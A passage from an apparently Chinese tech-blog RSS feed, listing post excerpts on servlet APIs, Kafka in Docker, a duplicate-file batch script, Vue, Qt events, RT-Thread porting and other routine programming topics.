      <description>1、Cookie[] getCookies()返回客户端所有的Cookie的数组2、Enumeration getAttributeNames() 返回request对象的所有属性名称的集合3、Enumeration getHeaderNames()返回所有HTTP头的名称集合4、Enumeration getParameterNames()返回请求中所有参数的集合5、HttpSession getSession()返回request对应的session对象，如果没有，则创建一个6、HttpSession getSession(boolean create)返回request对应的session对象，如果没有并且参数create为true，则返回一个新的session对象7、Locale getLocale()返回当前页的Locale对象，可以在response中设置8、Object getAttribute(String name)返回名称为name的属性值，如果不存在则返回null。9、ServletInputStream getInputStream()返回请求的输入流10、String getAuthType()返回认证方案的名称，用来保护servlet，比如&#34;BASIC&#34; 或者 &#34;SSL&#34; 或 null如果 JSP没设置保护措施11、String getCharacterEncoding()返回request的字符编码集名称12、String getContentType()返回request主体的MIME类型，若未知则返回null13、String getContextPath()返回request URI中指明的上下文路径14、String getHeader(String name)返回name指定的信息头15、String getMethod()返回此request中的HTTP方法，比如 GET,，POST，或PUT16、String getParameter(String name)返回此request中name指定的参数，若不存在则返回null17、String getPathInfo()返回任何额外的与此request URL相关的路径18、String getProtocol()返回此request所使用的协议名和版本19、String getQueryString()返回此 request URL包含的查询字符串20、String getRemoteAddr()返回客户端的IP地址21、String getRemoteHost()返回客户端的完整名称22、String getRemoteUser()返回客户端通过登录认证的用户，若用户未认证则返回null23、String getRequestURI()返回request的URI24、String getRequestedSessionId()返回request指定的session ID25、String getServletPath()返回所请求的servlet路径26、String[] getParameterValues(String name)返回指定名称的参数的所有值，若不存在则返回null27、boolean isSecure()返回request是否使用了加密通道，比如HTTPS28、intgetContentLength()返回request主体所包含的字节数，若未知的返回-1&#xA;29、intgetIntHeader(String name)返回指定名称的request信息头的值30、intgetServerPort()返回服务器端口号</description>
    </item>
    <item>
      <title>微信支付服务器异步通知丢失,微信支付成功并接收到异步通知，但在异步通知中业务出现异常，微信钱会回退给用户吗？...</title>
      <link>https://bchobby.github.io/posts/28d2729dc05f417cf9f43f604b357b25/</link>
      <pubDate>Mon, 09 Aug 2021 12:09:34 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/28d2729dc05f417cf9f43f604b357b25/</guid>
      <description>重要的事情说三遍！！！！！！！！！&#xA;廖师兄你好，在完成你这个课程后，我现在遇到这么一个疑惑：&#xA;1)微信支付成功并且接受到微信的异步通知；&#xA;2)接受到异步通知时，处理相应订单的业务，业务处理过程中出现异常；若微信继续调用异步通知总共10次，但是这其中10次都不没有解决业务异常，都没有给微信返回成功通知，此时微信异步接口10次调用失败，用户的钱会回退给到用户账户吗？&#xA;3)这个问题我没有在微信官方文档中找到答案，你能解释一下吗？非常感谢啦.....&#xA;廖师兄你好，在完成你这个课程后，我现在遇到这么一个疑惑：&#xA;1)微信支付成功并且接受到微信的异步通知；&#xA;2)接受到异步通知时，处理相应订单的业务，业务处理过程中出现异常；若微信继续调用异步通知总共10次，但是这其中10次都不没有解决业务异常，都没有给微信返回成功通知，此时微信异步接口10次调用失败，用户的钱会回退给到用户账户吗？&#xA;3)这个问题我没有在微信官方文档中找到答案，你能解释一下吗？非常感谢啦.....&#xA;廖师兄你好，在完成你这个课程后，我现在遇到这么一个疑惑：&#xA;1)微信支付成功并且接受到微信的异步通知；&#xA;2)接受到异步通知时，处理相应订单的业务，业务处理过程中出现异常；若微信继续调用异步通知总共10次，但是这其中10次都不没有解决业务异常，都没有给微信返回成功通知，此时微信异步接口10次调用失败，用户的钱会回退给到用户账户吗？&#xA;3)这个问题我没有在微信官方文档中找到答案，你能解释一下吗？非常感谢啦.....</description>
    </item>
    <item>
      <title>直接修改服务器数据,如何在服务器上修改数据库数据</title>
      <link>https://bchobby.github.io/posts/002da637710ae5efe737c08388e87724/</link>
      <pubDate>Mon, 09 Aug 2021 11:36:29 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/002da637710ae5efe737c08388e87724/</guid>
      <description>如何在服务器上修改数据库数据 内容精选&#xA;换一换&#xA;本手册基于华为云关系型数据库实践所编写，用于指导您完成相关设置，购买更符合业务的数据库实例。&#xA;为确保华为云关系型数据库服务发挥出最优性能，用户可根据业务需求对用户创建的参数模板中的参数进行调整。您可以修改用户创建的数据库参数模板中的参数值，但不能更改默认数据库参数模板中的参数值。以下是您在使用数据库参数模板中的参数时应了解的几个要点：如果您单击实例名称，在参数修改页面修改当前实例的参数模板，更改动态参数并保存数据库参数模板时，系统&#xA;如何在服务器上修改数据库数据 相关内容&#xA;数据库安全审计Agent的CPU阈值和内存阈值用户不能直接修改。Agent安装在数据库端的用户，若有需求，请您联系技术支持修改数据库安全审计Agent的阈值。Agent安装在应用端的用户，您可以按照以下操作步骤在添加Agent时，配置CPU阈值和内存阈值。CPU阈值和内存阈值系统默认为80%。当Agent程序检测到服务器上的内存或CPU超&#xA;如果已添加的数据库服务器的用户名和密码已修改或者访问数据库的用户名和密码配置有误，您可以参考本章节进行重新配置。已获取管理控制台的登录帐号与密码。已完成数据库资产委托授权，参考云资源委托授权/停止授权进行操作。已添加数据库资产。修改完成后，该数据库的连通性为检查中，此时，DSC会测试数据库的连通性，即测试DSC是否能够通过您配置的用户名和&#xA;如何在服务器上修改数据库数据 更多内容&#xA;华为云帮助中心，为用户提供产品简介、价格说明、购买指南、用户指南、API参考、最佳实践、常见问题、视频帮助等技术文档，帮助您快速上手使用华为云服务。&#xA;本教程旨在演示使用GDS(Gauss Data Service)工具将远端服务器上的数据导入GaussDB(for openGauss)中的办法，帮助您学习如何通过GDS进行数据导入的方法。在本教程中，您将：生成本教程需要使用的CSV格式的数据源文件。将数据源文件上传到数据服务器。创建外表，用于对接GDS和GaussDB(for open&#xA;您可以通过导出SQL语句的方式将数据库备份到弹性云服务器上。弹性云服务器不限制存放哪些数据，但是数据必须符合国家法律法规。您可以在弹性云服务器上存放数据库备份，但不建议将弹性云服务器作为数据库备份空间使用。强烈推荐使用云数据库RDS的备份功能将备份数据存放到专业的对象存储服务上，以获得更高的数据可靠性和服务保障。&#xA;您可以借助报表服务制作各种各样的报表，无论是简单的还是复杂的报表，同时系统提供订阅功能方便用户对报表进行订阅。本文主要介绍RDS使用SSRS(Reporting Services)报表服务。微软的Microsoft SQL Server产品中包含SQL Server数据库引擎、Reporting Services(SSRS)、Analys&#xA;本教程旨在演示使用GDS(General Data Service)工具将远端服务器上的数据导入GaussDB(DWS)中的办法，帮助您学习如何通过GDS进行数据导入的方法。在本教程中，您将：生成本教程需要使用的CSV格式的数据源文件。将数据源文件上传到数据服务器。创建外表，用于对接GDS和GaussDB(DWS)，及将数据服务器上的数据&#xA;您可以通过mongoexport的方式将数据库备份到弹性云服务器上，但不建议将弹性云服务器作为数据库备份空间使用。强烈推荐使用文档数据库实例的备份功能，将备份数据存放到专业的对象存储服务上，以获得更高的数据可靠性和服务保障。&#xA;华为云关系型数据库(Relational Database Service，简称RDS)是一种基于云计算平台的即开即用、稳定可靠、弹性伸缩、便捷管理的在线关系型数据库服务。&#xA;MySQL的“utf8”只支持每个字符最多三个字节，而真正的UTF-8是每个字符最多四个字节。包括Emoji表情(Emoji是一种特殊的Unicode编码，常见于手机上)，和很多不常用的汉字，以及任何新增的Unicode字符等都无法使用Mysql的utf8字符集存储。在2010年Mysql发布了“utf8mb4”的字符集。MySQL在5.&#xA;云数据库RDS服务支持开启公网访问功能，通过弹性公网IP进行访问。您也可通过弹性云服务器的内网访问云数据库RDS。准备弹性云服务器或可通过公网访问云数据库RDS。通过弹性云服务器连接云数据库RDS实例，需要创建一台弹性云服务器。创建并连接弹性云服务器，请参见如何创建和连接ECS。通过公网地址连接云数据库RDS实例，需具备以下条件。先对云数&#xA;本章介绍如何在管理控制台购买GaussDB(for openGauss)实例，并通过内网使用弹性云服务器连接GaussDB(for openGauss)实例。GaussDB(for openGauss)提供gsql工具帮助您在命令行下连接数据库，您需要提前创建一台弹性云服务器用于安装gsql工具。创建并连接ECS，请参见弹性云服务器快速入&#xA;云数据库RDS服务上的MySQL在使用上有一些固定限制，用来提高实例的稳定性和安全性，具体详见表1。</description>
    </item>
    <item>
      <title>Error connecting to node kafka:9092 (id: 1001 rack: null)</title>
      <link>https://bchobby.github.io/posts/c33e8682e6663417d1201602f4fdb7dc/</link>
      <pubDate>Mon, 09 Aug 2021 10:09:51 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/c33e8682e6663417d1201602f4fdb7dc/</guid>
      <description>今儿在本机搭建 ThingsBoard 测试环境时，报错如下：&#xA;Error connecting to node kafka:9092 (id: 1001 rack: null) kafka 是在本机 docker 环境中安装的，具体配置信息如下：&#xA;kafka: restart: always image: wurstmeister/kafka depends_on: - zookeeper ports: - &#34;9092:9092&#34; environment: KAFKA_ZOOKEEPER_CONNECT: zookeeper:2181 KAFKA_LISTENERS: INSIDE://:9093,OUTSIDE://:9092 KAFKA_ADVERTISED_LISTENERS: INSIDE://:9093,OUTSIDE://kafka:9092 KAFKA_LISTENER_SECURITY_PROTOCOL_MAP: INSIDE:PLAINTEXT,OUTSIDE:PLAINTEXT KAFKA_INTER_BROKER_LISTENER_NAME: INSIDE volumes: - /var/run/docker.sock:/var/run/docker.sock 启动容器后，通过 localhost:9092 是可以访问通的&#xA;但是程序中配置 kafka 访问地址使用 localhost:9092 却会报开头所说的错误信息。&#xA;经过研究，容器配置中有这么一行 KAFKA_ADVERTISED_LISTENERS: INSIDE://:9093,OUTSIDE://kafka:9092，这个 kafka:9092 正好对应到报错信息中的提示，猜测应该是需要通过该名称作为服务访问地址，而不能使用 ip 地址。&#xA;解决办法： 修改本机 hosts 文件，添加如下一行：&#xA;127.0.0.1 kafka 重新启动服务即可正常连接。</description>
    </item>
    <item>
      <title>批处理删除重复的文件</title>
      <link>https://bchobby.github.io/posts/33c5081a6a47814a1ab87886cd7dbf7b/</link>
      <pubDate>Mon, 09 Aug 2021 09:21:07 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/33c5081a6a47814a1ab87886cd7dbf7b/</guid>
      <description>如果你下载二进制文件（音乐、照片等），你可能最终会有很多除了名字以外完全相同的文件。 这里有一个解决方案，可以删除重复的文件。如果你不想删除任意的重复文件，你可以直接替换这一行，然后手动处理。 if not errorlevel 1 del %fnameold%&#xA;替换成:&#xA;if not errorlevel 1 pause&#xA;@echo off&#xA;:: 延迟环境&#xA;Setlocal Enabledelayedexpansion&#xA;set test=foo&#xA;for %%x in (1 2 3) do set test=!test!%%x&#xA;if %test%==foo123 goto OKAY&#xA;cls&#xA;echo 这个批处理文件将删除其目录中的重复文件.&#xA;echo.&#xA;pause&#xA;goto DONE&#xA;:OKAY&#xA;set oldsize=0&#xA;set fnamenew=foo&#xA;:: 按文件大小对当前文件夹下文件进行排序&#xA;for /f %%x in (&#39;dir /os /b *.*&#39;) do call :PROC %%x&#xA;goto DONE&#xA;:PROC&#xA;set fnameold=!fnamenew!&#xA;set fnamenew= %1</description>
    </item>
    <item>
      <title>Vue向下滚动加载更多数据-scroll-案例</title>
      <link>https://bchobby.github.io/posts/37d2b2df24c04356e21ad2d1edd93930/</link>
      <pubDate>Mon, 09 Aug 2021 07:52:07 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/37d2b2df24c04356e21ad2d1edd93930/</guid>
      <description>vue-infinite-scroll 安装 npm install vue-infinite-scroll --save 尽管官方也推荐了几种载入方式，但“最vue”的方式肯定是在main.js中加入&#xA;import infiniteScroll from &#39;vue-infinite-scroll&#39; Vue.use(infiniteScroll) 实现范例 官方给的代码范例是假设你在根组件写代码，实际上我们肯定是在子组件里写代码，所以代码也需要略作修改，下方只列有用的代码片段：&#xA;&amp;lt;div v-infinite-scroll=&#34;loadMore&#34; infinite-scroll-disabled=&#34;busy&#34; infinite-scroll-distance=&#34;10&#34;&amp;gt; &amp;lt;div v-for=&#34;item in data&#34; :key=&#34;item.index&#34;&amp;gt;{{item.name}}&amp;lt;/div&amp;gt; &amp;lt;/div&amp;gt; data () { return { count: 0, data: [], busy: false } } methods: { loadMore: function() { this.busy = true setTimeout(() =&amp;gt; { for (var i = 0, j = 10; i &amp;lt; j; i++) { this.data.push({name: this.count++ }) } console.log(this.data) this.busy = false }, 1000) } } 效果 默认会载入10行数据，只要往下滚动到页面底部，就会在1秒后再次加载10条，然后继续滚动，又会加载10条。就如下图：</description>
    </item>
    <item>
      <title>服务器c盘怎么删除临时文件,Win10 C盘临时文件怎么删除?</title>
      <link>https://bchobby.github.io/posts/21a7fe0f9efbdd78b27c5438db1cea19/</link>
      <pubDate>Mon, 09 Aug 2021 03:11:55 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/21a7fe0f9efbdd78b27c5438db1cea19/</guid>
      <description>Win10 C盘临时文件怎么删除?世事难料的奇妙之处在于，有些事情总会超出人的想象力能达到的水平。不到半个月时间，自己的Win10电脑，C盘竟然积存了1.27G的临时文件，系统运行速度索然没有明显的变慢，但是看到后还是让人心里感觉有些胆战心惊!Win10手动删除C盘临时文件的操作方法，有点变化，而且会让星际的朋友感觉不受用，临时文件大小，决定手动删除用时长短!我们能做的就是耐心等待。&#xA;第一步、打开系统设置，点击“系统”&#xA;第二步、在系统窗口，点击左侧“存储”选项，然后点击右侧窗口的C盘&#xA;第三步、在C盘设置窗口，找到并点击“临时文件”&#xA;第四步、在临时文件窗口，点击“删除临时文件”&#xA;第五步、接下来是个提示窗口“你确定要删除所有已知的临时文件缓存么”，我们点击选择“是的，我确定”，然后就是一个漫长的等待过程，让人心急之余，感叹网友喜欢使用第三方软件，确实情有可原!&#xA;Win10 C盘临时文件怎么删除的内容，希望能帮到您!&#xA;扩展阅读：</description>
    </item>
    <item>
      <title>什么是js实例对象</title>
      <link>https://bchobby.github.io/posts/cbf8f01acb92ebe10a030ceae0bb1ef2/</link>
      <pubDate>Sun, 08 Aug 2021 23:15:32 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/cbf8f01acb92ebe10a030ceae0bb1ef2/</guid>
      <description>js实例对象是类的真实对象 👉 举例： ES5： // ES5：生成实例对象的传统方法是通过构造函数 function Person(name, age, job) { this.name = name; this.age = age; this.job = job; } Person.prototype.sayName = function () { alert(this.name); }; var person1 = new Person(&#34;Nicholas&#34;, 29, &#34;Software Engineer&#34;); var person2 = new Person(&#34;Greg&#34;, 27, &#34;Doctor&#34;); ES6： // ES6可通过class关键字定义类 class Person { constructor(name, age, job) { this.name = name; this.age = age; this.job = job; } sayName() { alert(this.name); } } // ES6使用类时也是直接对类使用new命令 var person1 = new Person(&#34;</description>
    </item>
    <item>
      <title>java.lang.IllegalStateException: Failed to load property source</title>
      <link>https://bchobby.github.io/posts/531afa6120e594ffe05a5e1d9870f5a6/</link>
      <pubDate>Sun, 08 Aug 2021 16:08:22 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/531afa6120e594ffe05a5e1d9870f5a6/</guid>
      <description>java.lang.IllegalStateException: Failed to load property source from &#39;file:/H:/codes20210804/nacos-demo/provider/target/classes/application.yml&#39; (classpath:/application.yml) at org.springframework.boot.context.config.ConfigFileApplicationListener$Loader.load(ConfigFileApplicationListener.java:554) ~[spring-boot-2.3.0.RELEASE.jar:2.3.0.RELEASE] at org.springframework.boot.context.config.ConfigFileApplicationListener$Loader.loadForFileExtension(ConfigFileApplicationListener.java:499) ~[spring-boot-2.3.0.RELEASE.jar:2.3.0.RELEASE] at org.springframework.boot.context.config.ConfigFileApplicationListener$Loader.load(ConfigFileApplicationListener.java:469) ~[spring-boot-2.3.0.RELEASE.jar:2.3.0.RELEASE] at org.springframework.boot.context.config.ConfigFileApplicationListener$Loader.lambda$null$7(ConfigFileApplicationListener.java:448) ~[spring-boot-2.3.0.RELEASE.jar:2.3.0.RELEASE] at java.lang.Iterable.forEach(Iterable.java:75) ~[na:1.8.0_91] at org.springframework.boot.context.config.ConfigFileApplicationListener$Loader.lambda$load$8(ConfigFileApplicationListener.java:448) ~[spring-boot-2.3.0.RELEASE.jar:2.3.0.RELEASE] at java.lang.Iterable.forEach(Iterable.java:75) ~[na:1.8.0_91] at org.springframework.boot.context.config.ConfigFileApplicationListener$Loader.load(ConfigFileApplicationListener.java:445) ~[spring-boot-2.3.0.RELEASE.jar:2.3.0.RELEASE] at org.springframework.boot.context.config.ConfigFileApplicationListener$Loader.lambda$load$0(ConfigFileApplicationListener.java:348) ~[spring-boot-2.3.0.RELEASE.jar:2.3.0.RELEASE] at org.springframework.boot.context.config.FilteredPropertySource.apply(FilteredPropertySource.java:54) ~[spring-boot-2.3.0.RELEASE.jar:2.3.0.RELEASE] at org.springframework.boot.context.config.ConfigFileApplicationListener$Loader.load(ConfigFileApplicationListener.java:336) ~[spring-boot-2.3.0.RELEASE.jar:2.3.0.RELEASE] at org.springframework.boot.context.config.ConfigFileApplicationListener.addPropertySources(ConfigFileApplicationListener.java:226) ~[spring-boot-2.3.0.RELEASE.jar:2.3.0.RELEASE] at org.springframework.boot.context.config.ConfigFileApplicationListener.postProcessEnvironment(ConfigFileApplicationListener.java:210) ~[spring-boot-2.3.0.RELEASE.jar:2.3.0.RELEASE] at org.springframework.boot.context.config.ConfigFileApplicationListener.onApplicationEnvironmentPreparedEvent(ConfigFileApplicationListener.java:200) ~[spring-boot-2.3.0.RELEASE.jar:2.3.0.RELEASE] at org.springframework.boot.context.config.ConfigFileApplicationListener.onApplicationEvent(ConfigFileApplicationListener.java:188) ~[spring-boot-2.3.0.RELEASE.jar:2.3.0.RELEASE] at org.springframework.context.event.SimpleApplicationEventMulticaster.doInvokeListener(SimpleApplicationEventMulticaster.java:172) ~[spring-context-5.2.6.RELEASE.jar:5.2.6.RELEASE] at org.springframework.context.event.SimpleApplicationEventMulticaster.invokeListener(SimpleApplicationEventMulticaster.java:165) ~[spring-context-5.2.6.RELEASE.jar:5.2.6.RELEASE] at org.springframework.context.event.SimpleApplicationEventMulticaster.multicastEvent(SimpleApplicationEventMulticaster.java:139) ~[spring-context-5.2.6.RELEASE.jar:5.2.6.RELEASE] at org.springframework.context.event.SimpleApplicationEventMulticaster.multicastEvent(SimpleApplicationEventMulticaster.java:127) ~[spring-context-5.2.6.RELEASE.jar:5.2.6.RELEASE] at org.springframework.boot.context.event.EventPublishingRunListener.environmentPrepared(EventPublishingRunListener.java:80) ~[spring-boot-2.3.0.RELEASE.jar:2.3.0.RELEASE] at org.</description>
    </item>
    <item>
      <title>NodeJs三大框架之koa.js、egg.js、express.js</title>
      <link>https://bchobby.github.io/posts/683b48e2f89d5e540ff6815ccff19c7a/</link>
      <pubDate>Sun, 08 Aug 2021 12:39:46 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/683b48e2f89d5e540ff6815ccff19c7a/</guid>
      <description>Express.js 是 Node.JS 诞生之初，最早出现的一款框架，现在仍然很流行，作者是TJ。随着ECMAScript的发展，推出了generator yield 语法，JS向同步方式写异步代码迈出了一步，作为回应，TJ大神推出了Koa.js。Koa.js是一款微型Web框架，写一个hello world很简单，但web应用离不开session，视图模板，路由，文件上传，日志管理。这些 Koa 都不提供，需要自行去官方的 Middleware 寻找。然而，100个人可能找出100种搭配。Egg.js是基于Koa.js，解决了上述问题，将社区最佳实践整合进了Koa.js，另取名叫Egg.js，并且将多进程启动，开发时的热更新等问题一并解决了。这对开发者很友好，开箱即用，开箱即是最(较)佳配置。Egg.js发展期间，ECMAScript又推出了 async await，相比yield的语法async写起来更直观。当然，Koa.js也同步进行了跟进，Egg.js低层是Koa.js，自然也进行了跟进。现在TypeScript大热，可以在编码期间，提供类型检查，更智能的代码提示。Egg.js不支持TypeScript，此时淘宝团队在Egg.js基础上，引入了TypeScript支持，取名叫 MidwayJS 。 TypeScript是绕不开的话题。&#xA;基于Express.js的全功能框架 Nest.js，他是在Express.js上封装的，充分利用了TypeScript的特性；Nest.js的优点是社区活跃，涨势喜人。缺点是，如果从来没有接触过TS，刚开始学习曲线有点陡峭。快速入门Nest.js&#xA;基于Egg.js封装的Midway.js，是淘宝开源的优秀的web框架。Midway.js底层基于Egg.js，有不错的文档。文档入口</description>
    </item>
    <item>
      <title>win10新建虚拟机网络配置未连接服务器,win10虚拟机无法连接网络的解决方法</title>
      <link>https://bchobby.github.io/posts/7aa96f7ea6ab2f6f02e79bc2a98ff41b/</link>
      <pubDate>Sun, 08 Aug 2021 03:25:28 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/7aa96f7ea6ab2f6f02e79bc2a98ff41b/</guid>
      <description>虚拟机系统是指通过软件模拟的具有完整硬件系统、运行在一个完全隔离环境中的计算机系统。不过，最近有win10系统用户反映，他在虚拟机当中连接不上网络，给操作带来很多不便，那么win10虚拟机连接不了网络怎么办?接下来是小编为大家收集的win10虚拟机无法连接网络的解决方法，欢迎大家阅读：&#xA;win10虚拟机无法连接网络的解决方法&#xA;一、首先我们用鼠标点击虚拟网卡“VMnet8”和“以太网”，然后右键选择“桥接”，系统自动创建一个网桥“以太网2”。接着我们需要修改网桥“以太网2”的IPv4为静态IP，然后检查一下这台电脑是可以连接上网络的。&#xA;二、接下来我们需要打开VMwareWorkstation主程序，“编辑”，然后用鼠标点击“虚拟网络编辑器”，将VMnet8的子网IP改成192.168.10.0。&#xA;三、在虚拟机界面，用鼠标点击“设置”，然后找到“网络适配器”，选择“自定义特定网络”，找到“VMnet8(NAT模式)”，然后用鼠标点击“确定”。&#xA;四、当进入虚拟机，会发现电脑系统的显示是“本地连接”没有连接。所以我们需要用鼠标右键点击VMware主程序右下角“网络状态图标”，找到“连接”，如果路由器开了DHCP功能的话会自动获取到IP，最后我们再测试一下是否能正常上网。&#xA;看了“win10虚拟机无法连接网络的解决方法”还想看：</description>
    </item>
    <item>
      <title>电大系统服务器的性能测试报告表,四川电大教育资源管理系统设计与实现</title>
      <link>https://bchobby.github.io/posts/dc3006a0d19be23d0506f23a8d4bbaa3/</link>
      <pubDate>Sun, 08 Aug 2021 01:53:03 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/dc3006a0d19be23d0506f23a8d4bbaa3/</guid>
      <description>摘要：&#xA;在国家教育信息化持续推进过程中,以现代远程开放教育模式为特点的广播电视大学的教育资源信息化建设已取得突破性的进展,基本满足了各类学习者的常规学习需要。随着现代信息技术的飞速发展,建立符合时代发展要求的新型教育资源管理模式是我们未来工作的探索目标。这对于实现教育资源的有效管理,解决教育资源建设规划、管理以及资源推广应用等问题,都具有十分重要的现实意义。经过全面的分析和研究,结合四川广播电视大学(以下简称四川电大)教育资源信息化发展规划,本文论证了四川电大教育资源管理系统建设的意义与目标,并提出了系统建设的思路和方法。论文首先从技术层面对系统建设采用的开发模式和相关技术进行分析研究,主要包括浏览器/服务器模式、.NET平台、C#语言、响应式网页设计技术等。其次,明确了教育资源管理系统的建设目标。通过对四川电大教育资源管理的工作流程进行梳理,完成了系统可行性分析和功能需求分析。第三,制定了系统设计方案,主要包括系统的总体设计、详细设计和数据库设计。其中,总体设计部分为系统的体系架构说明和系统功能模块说明;详细设计部分为用户角色管理、资源管理和数据统计管理等;数据库设计部分则包括数据库的概念设计和逻辑设计。第四,运用面向对象的软件工程设计模式,完成教育资源管理系统的代码实现。第五,运用白盒测试、黑盒测试的方法对建设完成的资源管理系统进行性能、功能测试。主要的功能测试有用户登录功能、用户信息管理功能、资源信息管理功能和资源服务功能等。教育资源管理系统经过测试后,投入试运行阶段。学生在线学习流畅,教师和相关管理人员对各类数字化教育资源管理方便,提高了教育资源管理工作的效率。与系统投入使用之前相比,四川电大的数字化教育资源管理工作更加的系统化、信息化、科学化、规范化。教育资源管理系统的研发成功对四川电大教育信息化建设工作起到了一定的推动作用。&#xA;展开</description>
    </item>
    <item>
      <title>Qt中事件的传递过程</title>
      <link>https://bchobby.github.io/posts/8d2a7e933eae39b2e22e68ac1041fa63/</link>
      <pubDate>Sat, 07 Aug 2021 14:18:17 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/8d2a7e933eae39b2e22e68ac1041fa63/</guid>
      <description>事件的传递过程 一. 事件的传递过程 事件被组件对象处理后可能传递到其父组件对象&#xA;二. QEvent中的关键成员函数 帮助手册中的描述&#xA;函数的功能 ignore()：忽略当前事件，可能会传递给父组件 accept()：接收者处理当前事件 isAccepted()：判断当前事件是否被处理 三. 实验 实验&#xA;#ifndef MYLINEEDIT_H #define MYLINEEDIT_H #include &amp;lt;QLineEdit&amp;gt; class MyLineEdit : public QLineEdit { Q_OBJECT public: explicit MyLineEdit(QWidget *parent = 0); bool event(QEvent* e); void keyPressEvent(QKeyEvent* e); signals: public slots: }; #endif // MYLINEEDIT_H #include &#34;MyLineEdit.h&#34; #include &amp;lt;QDebug&amp;gt; #include &amp;lt;QEvent&amp;gt; #include &amp;lt;QDebug&amp;gt; #include &amp;lt;QEvent&amp;gt; #include &amp;lt;QKeyEvent&amp;gt; MyLineEdit::MyLineEdit(QWidget *parent):QLineEdit(parent) { } //重写event处理函数 bool MyLineEdit::event(QEvent* e) { //如果是按键事件，则打印 if( e-&amp;gt;type() == QEvent::KeyPress ) { qDebug() &amp;lt;&amp;lt; &#34;</description>
    </item>
    <item>
      <title>小熊派移植RT-Thread 的app代码</title>
      <link>https://bchobby.github.io/posts/389efd38fab3291f5eb5e6c18ff0bedf/</link>
      <pubDate>Sat, 07 Aug 2021 12:27:12 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/389efd38fab3291f5eb5e6c18ff0bedf/</guid>
      <description>前言&#xA;在上一篇我们已经讲解了如何移植RT-FOTA到小熊派开发板。本篇我们将继续移植RT-Thread，实现app代码的移植开发，并将BootLoader和app一起烧录到开发板，完成BootLoader到app的跳转动作。&#xA;一、创建RT-Thread工程 这里我使用RT-Thread studio创建了STM32L431的工程。接下来的操作都在rtthread studio中进行。&#xA;具体的教程可以看RT-Thread的 官方文档&#xA;创建工程时已经配置了log串口为UART1，所以编译之后就会有日志1s一次的循环输出。&#xA;二、通过cubeMX配置QSPI 2.1 创建工程是之后，需要点击工程内的cubeMX进行QSPI的管脚以及参数配置。 2.2 在board.h中打开QSPI的宏定义， #define BSP_USING_QSPI 同时将QSPI的初始化函数复制到borad.c中，在启动初始化参与编译。&#xA;void HAL_QSPI_MspInit(QSPI_HandleTypeDef* qspiHandle) { GPIO_InitTypeDef GPIO_InitStruct = {0}; if(qspiHandle-&amp;gt;Instance==QUADSPI) { /* USER CODE BEGIN QUADSPI_MspInit 0 */ /* USER CODE END QUADSPI_MspInit 0 */ /* QUADSPI clock enable */ __HAL_RCC_QSPI_CLK_ENABLE(); __HAL_RCC_GPIOB_CLK_ENABLE(); /**QUADSPI GPIO Configuration PB0 ------&amp;gt; QUADSPI_BK1_IO1 PB1 ------&amp;gt; QUADSPI_BK1_IO0 PB10 ------&amp;gt; QUADSPI_CLK PB11 ------&amp;gt; QUADSPI_BK1_NCS */ GPIO_InitStruct.Pin = GPIO_PIN_0|GPIO_PIN_1|GPIO_PIN_10|GPIO_PIN_11; GPIO_InitStruct.Mode = GPIO_MODE_AF_PP; GPIO_InitStruct.</description>
    </item>
    <item>
      <title>小熊派开发板移植RT-FOTA</title>
      <link>https://bchobby.github.io/posts/158a30ae3afdc5384ccc7914f590f077/</link>
      <pubDate>Sat, 07 Aug 2021 11:22:24 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/158a30ae3afdc5384ccc7914f590f077/</guid>
      <description>前言&#xA;买了小熊派的开发板，将demo code验证完成之后就放下了。刚好最近工作也在做OTA相关的开发，发现自己对于升级的功能还不够了解，在码云找到了一位大神基于RTThread的RT-FOTA代码，基本与RTThread的BootLoader功能一致，闲来无事，将这个移植适配到小熊派开发板。&#xA;一、RT-FOTA介绍 码云仓库中的地址为 https://gitee.com/Aladdin-Wang/RT-FOTA-STM32L431&#xA;摘抄自仓库的readme：&#xA;为了能让开发者快速掌握 OTA 升级这把利器，RT-Thread 开发团队提供了通用的Bootloader。开发者通过该 Bootloader 即可直接使用 RT-Thread OTA 功能，轻松实现对设备端固件的管理、升级与维护。&#xA;下图展示了 RT-Thread 通用 Bootloader 的软件框架：&#xA;RT-Thread 开发团队的官方Bootloader以bin文件形式提供， 在线获取地址： http://iot.rt-thread.com&#xA;RT-FOTA功能介绍：&#xA;支持RTT官方的RBL打包软件，使用方式也一致。目前支持包括CRC32、AES256、quicklz和fastlz功能；支持命令行模式（FINSH组件）和出厂固件恢复；支持FLASH分区（FAL组件）；增加fota和ymdown命令；其他功能可自行方便扩展；&#xA;关于RT-FOTA的基本移植操作请参看代码仓库的readme 二、适配驱动外设的代码 下载源码之后，里面包括了stm32f429和stm32l431的两个boot工程和一个stm32f429的app工程。&#xA;由于小熊派开发板使用的stm32L431，我们基于stm32L431的工程进行代码适配移植。&#xA;2.1 修改signal_led的配置 在rtconfig.h中配置小熊派开发板LED&#xA;#define RT_FOTA_SIGNAL_LED #define RT_FOTA_SIGNAL_LED_GPIOX GPIOC #define RT_FOTA_SIGNAL_LED_GPIO_PIN GPIO_PIN_13 #define RT_FOTA_SIGNAL_LED_ON_LEVEL GPIO_PIN_RESET 2.2 修改按键的配置 在rtconfig.h中配置小熊派开发板KEY1&#xA;#define RT_FOTA_DEFAULT_KEY #define RT_FOTA_DEFAULT_KEY_CHK_TIME 10 #define RT_FOTA_DEFAULT_KEY_GPIOX&#x9;GPIOB #define RT_FOTA_DEFAULT_KEY_GPIO_PIN GPIO_PIN_2 #define RT_FOTA_DEFAULT_KEY_LEVEL GPIO_PIN_SET 2.3 修改QSPI配置 由于小熊派开发板的spi flash使用的QSPI，与传统SPI配置方式不同，这里需要进行修改。&#xA;2.3.1 在cubeMX中配置小熊派的QSPI脚，生成对应代码 在rtconfig.h中修改如下</description>
    </item>
    <item>
      <title>计算机视觉</title>
      <link>https://bchobby.github.io/posts/ffb93bb549a2b51b3ec4bfbb5d0f67be/</link>
      <pubDate>Sat, 07 Aug 2021 08:57:34 +0800</pubDate>
